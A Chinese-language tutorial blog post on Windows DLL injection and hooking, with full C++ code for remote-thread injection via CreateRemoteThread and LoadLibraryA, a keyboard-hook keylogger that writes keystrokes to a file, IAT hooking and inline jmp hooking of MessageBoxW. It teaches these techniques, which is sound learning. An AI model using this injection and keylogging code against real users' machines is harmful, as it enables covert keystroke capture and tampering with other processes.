首先啊,首先啊;
你得了解windows编程及其基于消息的处理机制,DllMain函数;
不然就会看不懂或者啃着异常难受核心原理第三章;
dll注入
dll为文件后缀名,称为dynamic link library,动态链接库,一般用于存储方法和函数,进程运行时动态地调用其函数;
其显示调用命令为:
1
| LoadLibrary(".//your//dll's//path");
|
dll注入,顾名思义,将已有进程,使其调用不属于它本身的dll文件,称为dll注入;
一般用于对已经做好的软件进行升级扩展和修补漏洞,也可用于外挂;
远程线程注入
根据dll注入的本意,很轻易的可以想到通过创建远程进程的子线程对其进行 LoadLibrary 操作;
利用windows API,于是有以下操作:
1 2 3 4 5
| HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
HANDLE hThread = CreateRemoteThread(hProcess, 0, 0, ThreadProc, dll_path, 0, 0);
|
其中,ThreadProc 是线程回调函数,也就是线程内容,可以在其中执行 LoadLibrary;
但由于其特殊性,该回调函数的特征类似于LoadLibrary函数,都只有一个参数,而且类型可以说是一样的:
1 2 3 4 5 6 7 8 9
| DWORD WINAPI ThreadProc( _In_ LPVOID lpParameter );
HMODULE LoadLibraryA( [in] LPCSTR lpLibFileName );
|
所以创建线程可以写成如下:
1
| HANDLE hThread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, dll_path, 0, 0);
|
但有个问题?这里的dll_path传参数是本进程的地址,如果直接这么用,那么目标进程执行时,就会造成调用越界出错;
所以需要dll_path写入目标进程,用windows API 实现:
1 2 3 4 5 6 7 8 9 10 11 12 13
| char buffer[] = ".//your//dll's//path"; SIZE_T bufferSize = strlen(buffer) + 1; SIZE_T realWrite = 0;
char* str = (char*)VirtualAllocEx(hProcess, 0, bufferSize, MEM_COMMIT, PAGE_READWRITE); if (str == NULL) { cout << "malloc err !!" << endl; return 0; }
WriteProcessMemory(hProcess, str, buffer, bufferSize, &realWrite);
|
之后再用str去创建线程传参,就没有问题了;
完整代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| #include<Windows.h> #include<iostream> using namespace std;
int main() { int pid = "your aim pid"; HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); if (hProcess == NULL) { cout << "open fail !! " << endl; return 0; } char buffer[] = ".//your//dll's//path"; SIZE_T bufferSize = strlen(buffer) + 1; SIZE_T realWrite = 0;
char* str = (char*)VirtualAllocEx(hProcess, 0, bufferSize, MEM_COMMIT, PAGE_READWRITE); if (str == NULL) { cout << "malloc err !!" << endl; return 0; } WriteProcessMemory(hProcess, str, buffer, bufferSize, &realWrite);
HANDLE hThread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, str, 0, 0); if (hThread == NULL) { cout << "thread create err !!" << endl; return 0; }
WaitForSingleObject(hThread, -1); VirtualFreeEx(hProcess, str, 0, MEM_RELEASE); CloseHandle(hThread); CloseHandle(hProcess);
return 0; }
|
之后写一个dll具体实现,就能将其注入了;
HOOK
钩子,和网络上的抓包很类似,在上下文中设置hook,即可捕获了解到其中的执行信息;
消息 hook
你已经知道windows是基于消息操作的,也可以叫基于事件操作,那么将钩子设置在消息队列和进程之间的消息传输中,就叫消息hook;
windows提供了消息hook的API,只需要会用就行;
API |
作用 |
SetWindowsHookEx |
设置钩子 |
CallNextHookEx |
传递钩子信息到钩子链的下一个子程序 |
UnHookWindowsHookEx |
卸载钩子 |
其中有个特点需要了解:
进程如果被hook,那么有关其hook的dll会被强制归属于该进程,所以hook一般也写在dll中,也是一种dll注入的手段;
来看一个键盘记录器的实际代码;
首先是dll程序主函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: g_hInstance = hModule; break; } return TRUE; }
|
之后分别是hook的设置,处理,以及卸载;
设置HOOK:
1 2 3 4 5 6 7 8 9 10 11
| BOOL InstallHook() { g_hHook = SetWindowsHookExA(WH_KEYBOARD, KeyboardProc, g_hInstance, 0);
if (g_hHook) { return TRUE; } return FALSE; }
|
使用回调函数处理捕获信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| LRESULT CALLBACK KeyboardProc( _In_ int code, _In_ WPARAM wParam, _In_ LPARAM lParam ) { if (code == HC_ACTION) { if ((lParam & 0x80000000) == 0) { BYTE KeyState[256]{ 0 }; if (GetKeyboardState(KeyState)) { LONG keyinfo = lParam; UINT keyCode = (keyinfo >> 16) & 0x00ff; WCHAR wkeyCode = 0; ToAscii((UINT)wParam, keyCode, KeyState, (LPWORD)&wkeyCode, 0); CHAR strinfo[12] = { 0 }; sprintf_s(strinfo, _countof(strinfo), "%c", wkeyCode); FILE* fp = NULL; fopen_s(&fp, "C://your//path//to//Desktop//hook_log.txt", "a+"); fwrite(strinfo, 1, 1, fp); fclose(fp); return 0; } } } return CallNextHookEx(g_hHook, code, wParam, lParam); }
|
卸载钩子:
1 2 3 4
| BOOL UnInstallHook() { return UnhookWindowsHookEx(g_hHook); }
|
至此,一个拥有消息hook的dll文件产生了,再使用任意主程序调用即可;
IAT hook
顾名思义,此hook是对于IAT而言,IAT即 import address table ,导入地址表,在程序变为进程时,此表存储了导入函数的地址,在磁盘形态时存储的则是其函数名称,或者序号;
利用该hook可以使得改变原程序调用函数为自定义函数,当然传参需要一致,调用约定需要一致;
先回顾下 IAT 结构:
先拿DOS头找到PE头,接着拿PE头找可选PE头,可选头最后一个字段是一个数组,其存放各种表的 rva;
1 2 3 4
| IMAGE_DATA_DIRECTORY { DWORD VirtualAddress; DWORD Size; }
|
下标为1的元素即为导入表,利用rva跳转到表本身,同时注意表有多个,因为导入的dll会是多个,所以记得循环遍历;
导入表中的 FirstThunk即为 IAT,同时注意,IAT有多个函数地址,也需要一次循环遍历;
由此,寻找函数地址的函数为:(输入dll名和函数名以查询)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| DWORD* GetIatAddr(const char* dllName, const char* dllFunName) { HMODULE hModule = GetModuleHandleA(0); DWORD buffer = (DWORD)hModule;
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)buffer; PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(pDosHeader->e_lfanew + buffer); PIMAGE_OPTIONAL_HEADER pOptionalHeader = &pNtHeader->OptionalHeader; PIMAGE_DATA_DIRECTORY dataDirectory = &pOptionalHeader->DataDirectory[1]; PIMAGE_IMPORT_DESCRIPTOR pImportTable = (PIMAGE_IMPORT_DESCRIPTOR)(dataDirectory->VirtualAddress + buffer);
while (pImportTable->Name) { char* name = (char *)(pImportTable->Name + buffer); if (!_stricmp(name, dllName)) { PIMAGE_THUNK_DATA pINT = (PIMAGE_THUNK_DATA)(pImportTable->OriginalFirstThunk + buffer); PIMAGE_THUNK_DATA pIAT = (PIMAGE_THUNK_DATA)(pImportTable->FirstThunk + buffer);
while (pINT->u1.Function) { if ((pINT->u1.Ordinal & 0x80000000) == 0) { PIMAGE_IMPORT_BY_NAME pImportName = (PIMAGE_IMPORT_BY_NAME)(pINT->u1.Function + buffer); if (!strcmp(pImportName->Name, dllFunName)) { return (DWORD*)pIAT; } } pINT++; pIAT++; } } pImportTable++; }
return NULL; }
|
接着便是dllMain:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: printf("注入成功!\n"); g_iatAddr = GetIatAddr("user32.dll", "MessageBoxW"); g_preIatAddr = g_iatAddr;
InstallHook(); break; case DLL_PROCESS_DETACH: UnInstallHook(); break; } return TRUE; }
BOOL InstallHook() { DWORD oldProtect = 0; VirtualProtect(g_iatAddr, 4, PAGE_EXECUTE_READWRITE, &oldProtect); *g_iatAddr = (DWORD)Hack; VirtualProtect(g_iatAddr, 4, oldProtect, &oldProtect); return TRUE; }
BOOL UnInstallHook() { DWORD oldProtect = 0; VirtualProtect(g_iatAddr, 4, PAGE_EXECUTE_READWRITE, &oldProtect); *g_iatAddr = (DWORD)g_preIatAddr; VirtualProtect(g_iatAddr, 4, oldProtect, &oldProtect); return TRUE; }
|
Inline hook
IAT hook 是有缺陷的,即若导入函数无名就会失去作用;
而知道的是,IAT hook 的主要思路就是改变所hook函数的地址;
既然要hook一个函数,那么这个函数一定会调用,则inline hook 的主旨便是:
在进入目标函数时执行跳转,跳转到自实现函数里去;意思就是更改其第一条汇编码为 jmp aimAddr
;
具体实现则是更改其第一条指令对应的硬编码,也就是机械码,二进制内容;
对于32位程序的x86而言,jmp指令会占 5 个字节,第一个固定 E9 为 jmp指令,后面跟随的4个字节为偏移;
该偏移的计算公式为 : offset = aimAddr - jmp指令的下一条地址;
也就是 : offset = aimAddr - jmp指令地址 - 5;
那么主要的dll构造思路为:
- 拿到目标函数地址,存档其前5字节内容,因为要恢复;
- 算出偏移并更改目标地址前5字节内容为跳转;
- 执行自实现函数的处理部分;
- 恢复5字节内容;
由此全局存储变量:
1 2 3 4
| DWORD aimAddr = 0; char oldBytes[5] = { 0 }; char newBytes[5] = { 0xE9 };
|
则有初始化函数实现思路中 1,2 中的算偏移:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| BOOL InitHook() { HMODULE hModule = LoadLibraryA("user32.dll"); if (hModule == 0) return FALSE; aimAddr = (DWORD)GetProcAddress(hModule, "MessageBoxW"); memcpy(oldBytes, (char*)aimAddr, 5); DWORD offset = (DWORD)Hack - aimAddr - 5; memcpy(&newBytes[1], &offset, 4);
return TRUE; }
|
装载和卸载钩子以实现 2,4:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| BOOL InstallHook() { DWORD oldProtect = 0; VirtualProtect((DWORD*)aimAddr, 5, PAGE_EXECUTE_READWRITE, &oldProtect); memcpy((char*)aimAddr, newBytes, 5); VirtualProtect((DWORD*)aimAddr, 5, oldProtect, &oldProtect);
return TRUE; }
BOOL UnInstallHook() { DWORD oldProtect = 0; VirtualProtect((DWORD*)aimAddr, 5, PAGE_EXECUTE_READWRITE, &oldProtect); memcpy((char*)aimAddr, oldBytes, 5); VirtualProtect((DWORD*)aimAddr, 5, oldProtect, &oldProtect);
return TRUE; }
|
最后由自定义函数实现思路 3:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| int WINAPI Hack( HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType ) { UnInstallHook(); int result = MessageBoxW(0, L"hacker~", L"提示", MB_OK); InstallHook();
return result; }
|
同理,进程创建时初始化和挂钩,进程结束时解钩;
总体来说写法会比 IAT hook 更轻松;
总结
刚入门dll注入系列以及hook,开始发现很有意思;
注意啊,hook的函数需要和原函数保持一致,包括调用约定和参数!!!